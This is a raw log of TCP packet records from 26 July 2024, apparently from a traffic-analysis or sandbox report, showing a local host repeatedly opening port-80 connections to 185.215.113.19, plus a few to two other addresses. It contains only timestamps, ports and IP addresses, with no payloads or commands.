Jul 26, 2024 13:51:27.764997959 CEST	80	63393	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:28.513533115 CEST	80	63393	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:28.514800072 CEST	63393	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:28.631968021 CEST	63393	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:28.632198095 CEST	63394	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:28.637227058 CEST	80	63394	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:28.637348890 CEST	63394	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:28.637566090 CEST	63394	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:28.637798071 CEST	80	63393	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:28.638027906 CEST	63393	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:28.642956018 CEST	80	63394	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:29.429030895 CEST	80	63394	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:29.429092884 CEST	63394	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:29.431922913 CEST	63394	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:29.432188034 CEST	63395	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:29.437316895 CEST	80	63395	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:29.437365055 CEST	63395	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:29.437560081 CEST	63395	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:29.440443993 CEST	80	63394	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:29.442457914 CEST	80	63395	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:29.442948103 CEST	63394	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:30.234615088 CEST	80	63395	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:30.234704971 CEST	63395	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:30.343046904 CEST	63395	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:30.343333006 CEST	63396	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:30.348432064 CEST	80	63395	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:30.348440886 CEST	80	63396	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:30.348529100 CEST	63395	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:30.348561049 CEST	63396	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:30.348893881 CEST	63396	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:30.353766918 CEST	80	63396	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:31.100203991 CEST	80	63396	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:31.100316048 CEST	63396	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:31.102698088 CEST	63396	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:31.103179932 CEST	63397	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:31.108345985 CEST	80	63396	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:31.108433962 CEST	63396	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:31.108748913 CEST	80	63397	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:31.108824968 CEST	63397	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:31.108992100 CEST	63397	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:31.113764048 CEST	80	63397	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:31.527009964 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:51:31.527025938 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:51:31.531939030 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:51:31.531951904 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:51:31.692837000 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:51:31.697906971 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:51:31.789339066 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:51:31.792660952 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:51:31.797550917 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:51:31.828974962 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:51:31.902424097 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:51:31.912759066 CEST	80	63397	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:31.913163900 CEST	63397	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:32.030133963 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:51:32.032644987 CEST	63397	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:32.032902002 CEST	63399	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:32.039395094 CEST	80	63397	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:32.039495945 CEST	63397	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:32.039532900 CEST	80	63399	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:32.039634943 CEST	63399	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:32.039789915 CEST	63399	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:32.045286894 CEST	80	63399	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:32.819636106 CEST	80	63399	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:32.819824934 CEST	63399	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:32.822376013 CEST	63399	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:32.822669029 CEST	63400	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:32.827891111 CEST	80	63399	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:32.827897072 CEST	80	63400	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:32.828007936 CEST	63399	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:32.828046083 CEST	63400	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:32.828181982 CEST	63400	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:32.833723068 CEST	80	63400	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:33.580081940 CEST	80	63400	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:33.580192089 CEST	63400	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:33.702071905 CEST	63400	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:33.702322006 CEST	63401	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:33.707232952 CEST	80	63401	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:33.707319975 CEST	63401	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:33.707428932 CEST	63401	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:33.707499027 CEST	80	63400	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:33.707583904 CEST	63400	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:33.712261915 CEST	80	63401	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:34.499922991 CEST	80	63401	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:34.500143051 CEST	63401	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:34.502506971 CEST	63401	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:34.502746105 CEST	63402	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:34.510150909 CEST	80	63401	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:34.510184050 CEST	80	63402	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:34.510236979 CEST	63401	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:34.510283947 CEST	63402	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:34.510394096 CEST	63402	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:34.515678883 CEST	80	63402	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:35.296134949 CEST	80	63402	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:35.296344995 CEST	63402	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:35.413038015 CEST	63402	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:35.413408995 CEST	63403	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:35.418453932 CEST	80	63403	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:35.418813944 CEST	80	63402	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:35.418957949 CEST	63402	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:35.418971062 CEST	63403	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:35.419126034 CEST	63403	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:35.424066067 CEST	80	63403	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:36.188745975 CEST	80	63403	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:36.188870907 CEST	63403	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:36.191226959 CEST	63403	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:36.191596031 CEST	63404	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:36.196628094 CEST	80	63404	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:36.196710110 CEST	63404	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:36.196819067 CEST	63404	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:36.197176933 CEST	80	63403	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:36.197360039 CEST	63403	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:36.201788902 CEST	80	63404	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:36.961102962 CEST	80	63404	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:36.961448908 CEST	63404	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:37.085639000 CEST	63404	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:37.085782051 CEST	63405	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:37.090791941 CEST	80	63405	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:37.091116905 CEST	80	63404	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:37.091221094 CEST	63404	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:37.091250896 CEST	63405	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:37.091382980 CEST	63405	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:37.096412897 CEST	80	63405	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:37.274719954 CEST	63406	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:51:37.274759054 CEST	443	63406	40.113.103.199	192.168.2.6
Jul 26, 2024 13:51:37.275403023 CEST	63406	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:51:37.275403023 CEST	63406	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:51:37.275434017 CEST	443	63406	40.113.103.199	192.168.2.6
Jul 26, 2024 13:51:37.864393950 CEST	80	63405	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:37.864547968 CEST	63405	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:37.867255926 CEST	63407	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:37.867260933 CEST	63405	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:37.872448921 CEST	80	63407	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:37.872565031 CEST	63407	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:37.872672081 CEST	63407	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:37.875257969 CEST	80	63405	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:37.875381947 CEST	63405	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:37.877533913 CEST	80	63407	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:38.082875013 CEST	443	63406	40.113.103.199	192.168.2.6
Jul 26, 2024 13:51:38.085268021 CEST	63406	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:51:38.086868048 CEST	63406	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:51:38.086874008 CEST	443	63406	40.113.103.199	192.168.2.6
Jul 26, 2024 13:51:38.087641001 CEST	443	63406	40.113.103.199	192.168.2.6
Jul 26, 2024 13:51:38.089904070 CEST	63406	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:51:38.089955091 CEST	63406	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:51:38.089958906 CEST	443	63406	40.113.103.199	192.168.2.6
Jul 26, 2024 13:51:38.090058088 CEST	63406	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:51:38.136502028 CEST	443	63406	40.113.103.199	192.168.2.6
Jul 26, 2024 13:51:38.269455910 CEST	443	63406	40.113.103.199	192.168.2.6
Jul 26, 2024 13:51:38.269547939 CEST	443	63406	40.113.103.199	192.168.2.6
Jul 26, 2024 13:51:38.269666910 CEST	63406	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:51:38.269839048 CEST	63406	443	192.168.2.6	40.113.103.199
Jul 26, 2024 13:51:38.269855976 CEST	443	63406	40.113.103.199	192.168.2.6
Jul 26, 2024 13:51:38.649521112 CEST	80	63407	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:38.649584055 CEST	63407	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:38.754502058 CEST	63407	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:38.754741907 CEST	63408	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:38.769784927 CEST	80	63408	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:38.769851923 CEST	63408	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:38.769979000 CEST	63408	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:38.771512032 CEST	80	63407	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:38.771646976 CEST	63407	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:38.774804115 CEST	80	63408	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:39.552614927 CEST	80	63408	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:39.554797888 CEST	63408	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:39.556540966 CEST	63409	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:39.556543112 CEST	63408	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:39.562618971 CEST	80	63409	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:39.563103914 CEST	63409	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:39.563103914 CEST	63409	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:39.563473940 CEST	80	63408	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:39.564506054 CEST	63408	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:39.570080996 CEST	80	63409	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:40.325309992 CEST	80	63409	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:40.325376987 CEST	63409	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:40.444139957 CEST	63409	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:40.444401026 CEST	63410	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:40.449944973 CEST	80	63409	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:40.450031042 CEST	80	63410	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:40.450063944 CEST	63409	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:40.450090885 CEST	63410	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:40.450213909 CEST	63410	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:40.457140923 CEST	80	63410	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:41.190504074 CEST	80	63410	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:41.192509890 CEST	63410	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:41.196511984 CEST	63410	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:41.196511030 CEST	63411	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:41.201740980 CEST	80	63411	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:41.201997042 CEST	63411	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:41.201997042 CEST	63411	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:41.202054024 CEST	80	63410	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:41.202260971 CEST	63410	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:41.207376957 CEST	80	63411	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:41.830127001 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:51:41.840543032 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:51:41.930666924 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:51:41.938114882 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:51:42.020787954 CEST	80	63411	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:42.020899057 CEST	63411	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:42.135015965 CEST	63411	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:42.135354042 CEST	63412	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:42.141098976 CEST	80	63412	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:42.141235113 CEST	63412	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:42.141372919 CEST	63412	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:42.141490936 CEST	80	63411	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:42.142232895 CEST	63411	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:42.148458958 CEST	80	63412	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:42.893982887 CEST	80	63412	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:42.894088984 CEST	63412	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:42.896332026 CEST	63412	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:42.896612883 CEST	63413	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:42.901454926 CEST	80	63413	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:42.901560068 CEST	63413	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:42.901674986 CEST	63413	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:42.901758909 CEST	80	63412	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:42.901824951 CEST	63412	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:42.907105923 CEST	80	63413	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:43.679446936 CEST	80	63413	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:43.679864883 CEST	63413	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:43.785274982 CEST	63413	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:43.785620928 CEST	63414	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:43.790918112 CEST	80	63414	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:43.791050911 CEST	63414	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:43.791162968 CEST	63414	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:43.791851044 CEST	80	63413	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:43.791944027 CEST	63413	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:43.796149969 CEST	80	63414	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:44.581794024 CEST	80	63414	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:44.582046986 CEST	63414	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:44.584777117 CEST	63414	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:44.585129023 CEST	63415	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:44.591731071 CEST	80	63415	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:44.591954947 CEST	63415	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:44.591954947 CEST	63415	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:44.592957020 CEST	80	63414	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:44.593077898 CEST	63414	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:44.596815109 CEST	80	63415	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:45.335223913 CEST	80	63415	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:45.335408926 CEST	63415	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:45.456960917 CEST	63415	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:45.456960917 CEST	63416	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:45.462111950 CEST	80	63416	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:45.462491035 CEST	63416	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:45.462717056 CEST	63416	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:45.462764025 CEST	80	63415	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:45.462990999 CEST	63415	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:45.467879057 CEST	80	63416	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:46.222089052 CEST	80	63416	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:46.222167969 CEST	63416	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:46.225193024 CEST	63416	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:46.225430965 CEST	63417	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:46.230338097 CEST	80	63417	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:46.230428934 CEST	80	63416	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:46.230474949 CEST	63417	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:46.230690956 CEST	63417	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:46.230834007 CEST	63416	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:46.235583067 CEST	80	63417	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:46.987246990 CEST	80	63417	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:46.987318039 CEST	63417	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:47.106832027 CEST	63417	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:47.107074022 CEST	63418	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:47.112211943 CEST	80	63418	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:47.112318039 CEST	80	63417	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:47.112343073 CEST	63418	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:47.112458944 CEST	63417	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:47.112554073 CEST	63418	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:47.118041039 CEST	80	63418	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:47.877563000 CEST	80	63418	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:47.877749920 CEST	63418	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:47.880861998 CEST	63418	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:47.881026983 CEST	63419	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:47.886003017 CEST	80	63419	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:47.886132002 CEST	80	63418	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:47.886245012 CEST	63419	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:47.886243105 CEST	63418	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:47.886485100 CEST	63419	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:47.891401052 CEST	80	63419	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:48.655738115 CEST	80	63419	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:48.655942917 CEST	63419	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:48.778793097 CEST	63420	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:48.778868914 CEST	63419	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:48.783816099 CEST	80	63420	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:48.783922911 CEST	63420	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:48.784226894 CEST	63420	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:48.785104036 CEST	80	63419	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:48.786910057 CEST	63419	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:48.791749001 CEST	80	63420	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:49.541704893 CEST	80	63420	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:49.541868925 CEST	63420	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:49.544830084 CEST	63420	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:49.546715975 CEST	63421	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:49.550509930 CEST	80	63420	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:49.550559998 CEST	63420	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:49.551723957 CEST	80	63421	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:49.551985025 CEST	63421	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:49.552217007 CEST	63421	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:49.556998014 CEST	80	63421	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:50.306727886 CEST	80	63421	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:50.306884050 CEST	63421	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:50.427220106 CEST	63421	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:50.427531958 CEST	63422	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:50.433994055 CEST	80	63422	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:50.435551882 CEST	80	63421	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:50.436230898 CEST	63421	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:50.436275959 CEST	63422	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:50.436503887 CEST	63422	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:50.441404104 CEST	80	63422	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:51.225081921 CEST	80	63422	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:51.225166082 CEST	63422	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:51.228063107 CEST	63422	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:51.228295088 CEST	63423	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:51.233407021 CEST	80	63423	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:51.233496904 CEST	63423	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:51.233680964 CEST	63423	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:51.234045029 CEST	80	63422	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:51.234127045 CEST	63422	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:51.240351915 CEST	80	63423	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:51.933490038 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:51:51.938945055 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:51:52.021464109 CEST	80	63423	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:52.024710894 CEST	63423	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:52.034054041 CEST	59122	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:51:52.039324045 CEST	80	59122	34.107.221.82	192.168.2.6
Jul 26, 2024 13:51:52.137646914 CEST	63424	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:52.138814926 CEST	63423	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:52.142995119 CEST	80	63424	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:52.143105030 CEST	63424	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:52.143301010 CEST	63424	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:52.144994974 CEST	80	63423	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:52.146722078 CEST	63423	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:51:52.148665905 CEST	80	63424	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:52.945362091 CEST	80	63424	185.215.113.19	192.168.2.6
Jul 26, 2024 13:51:52.945456982 CEST	63424	80	192.168.2.6	185.215.113.19
